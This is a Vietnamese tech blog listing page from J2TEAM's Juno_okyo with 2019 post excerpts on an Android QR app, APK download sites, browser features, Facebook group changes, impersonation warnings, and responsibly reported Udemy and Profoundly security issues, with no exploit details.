Đợt vừa rồi tài khoản Facebook của tớ bị dính checkpoint vì truy cập địa điểm Wifi khác nhau, Facebook yêu cầu nhập mã xác minh được gửi vào điện thoại nhưng mà chả hiểu vì điều gì mà chờ mãi chẳng có SMS nào cả. Trên J2TEAM Community cũng có nhiều bạn đăng bài hỏi vụ này.

Trong hai ngày không vào được Facebook, tớ quyết định dùng thời gian rảnh rỗi ra học một cái gì đó mới, thế là quyết định tự học lập trình Android. Và sản phẩm đầu tay của tớ chính là cái ứng dụng quét QR Code sẽ được giới thiệu trong bài viết này, hehe.
Read More

Tải APK dễ dàng với APKCombo.com (APK Downloader)

juno_okyo@yahoo.com.vn (Juno_okyo) — Sun, 25 Aug 2019 11:49:00 +0000

Xin chào, tớ là JUNO_OKYO đây! Trước đây khi cần tải về file APK của một ứng dụng, trò chơi Android thì tớ cũng sử dụng APKPure, nó là trang rất nổi tiếng rồi nên không cần giới thiệu thêm đúng không. Hôm nay tớ sẽ giới thiệu tới các bạn trang APKCombo mà tớ mới được ông anh giới thiệu.
Read More

J2TEAM phát hiện ra lỗ hổng bảo mật trên Udemy như nào?

juno_okyo@yahoo.com.vn (Juno_okyo) — Wed, 21 Aug 2019 03:18:00 +0000

Xin chào, tớ là JUNO_OKYO đây! Bài viết này sẽ kể về quá trình J2TEAM phát hiện lỗ hổng bảo mật và báo cáo cho Udemy nhé!

Trước tiên, với ai chưa biết thì Udemy.com là nền tảng học tập trực tuyến lớn nhất thế giới. Theo SimilarWeb thì Udemy đang nằm trong Top 300 trang web lớn nhất toàn cầu và đứng #1 trong các trang về giáo dục.
Read More

Facebook loại bỏ tùy chọn nhóm "kín" và "bí mật"

juno_okyo@yahoo.com.vn (Juno_okyo) — Wed, 14 Aug 2019 19:20:00 +0000

Thay vào đó, người dùng sẽ có hai tùy chọn: Công khai và Riêng tư.

Thứ tư vừa rồi Facebook cho biết rằng họ đang thay đổi cách các Nhóm hoạt động trên nền tảng của mình. Họ sẽ không còn tùy chọn để đánh dấu như “bí mật”, chỉ cho người dùng hai tùy chọn thiết lập quyền riêng tư: Công khai hoặc Riêng tư.
Read More

Tính năng CSS mới trong Firefox 68 dành cho nhà phát triển

juno_okyo@yahoo.com.vn (Juno_okyo) — Sun, 11 Aug 2019 12:51:00 +0000

Xin chào, mình là JUNO_OKYO đây! Firefox 68 được tung ra trong tháng này với một loạt các bổ sung và thay đổi về CSS. Trong bài viết này, chúng ta sẽ cùng xem xét một số điều bạn có thể đang mong đợi nhé.
Read More

Lazy-loading chính thức được hỗ trợ từ Chrome 76

juno_okyo@yahoo.com.vn (Juno_okyo) — Wed, 07 Aug 2019 09:26:00 +0000

Lazy-loading là gì?

Lazy-loading (hay lazyload) là một kỹ thuật tải/nạp tài nguyên giúp tiết kiệm băng thông và mang lại trải nghiệm người dùng tốt hơn.

Khi bạn truy cập vào một trang web chứa rất nhiều hình ảnh hoặc video. Thông thường các trang web sẽ tải toàn bộ tài nguyên này ngay tại thời điểm truy cập.
Read More

Giả mạo J2TEAM: Danh sách nhóm, fanpage và website cần đề phòng

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 05 Aug 2019 12:11:00 +0000

Chào các bạn, tớ là JUNO_OKYO đây. Trước giờ cũng có lẻ tẻ vài fanpage giả mạo mọc lên nhưng mà tớ không bận tâm lắm. Tuy nhiên thời gian gần đây có bạn tạo hẳn một chuỗi trang web, fanpage và nhóm trên Facebook lấy tên J2TEAM để chuộc lợi.
Read More

Nhờ lập trình, tôi đã kiếm được $200k khi tôi mới 16 tuổi như thế nào?

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 12 Jul 2019 14:33:00 +0000

9 năm trước, tôi đã viết phần mềm đầu tiên bằng Java. Nói thêm chút là khi ấy tôi mới đang học lớp 9, 13 tuổi và chỉ với 3 tháng kinh nghiệm tự học lập trình. Trong vài năm sau đó tôi đã kiếm được khoản thu nhập ~$200k. Và đây là cách mà tôi đã thực hiện điều đó.
Read More

Về Defoundly, Profoundly và Privacy

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 18 Mar 2019 14:57:00 +0000

Đây là bài viết chính thức từ J2TEAM sau bài viết phân tích kỹ thuật “Profoundly: Có thật sự ẩn danh?” bởi T-Rekt từ hơn một tuần trước.

TL;DR (tóm tắt cho ai lười đọc): Profoundly đã cập nhật, không còn sửa truy vấn để đọc dữ liệu của người chơi khác được nữa. Vấn đề quyền riêng tư đã được giải quyết. Các bạn có thể yên tâm chơi cùng bạn bè rồi nha!

Ngay sau khi chia sẻ lên nhóm J2TEAM Community, bài viết đó đã nhanh chóng nhận được phản ứng nhiệt tình từ các thành viên do Profoundly đang là một ứng dụng hot trên Facebook – mạng xã hội lớn nhất thế giới với hơn 2 tỉ người dùng hàng tháng. Hãy cùng điểm qua một vài số liệu thống kê bởi SMCC:
Read More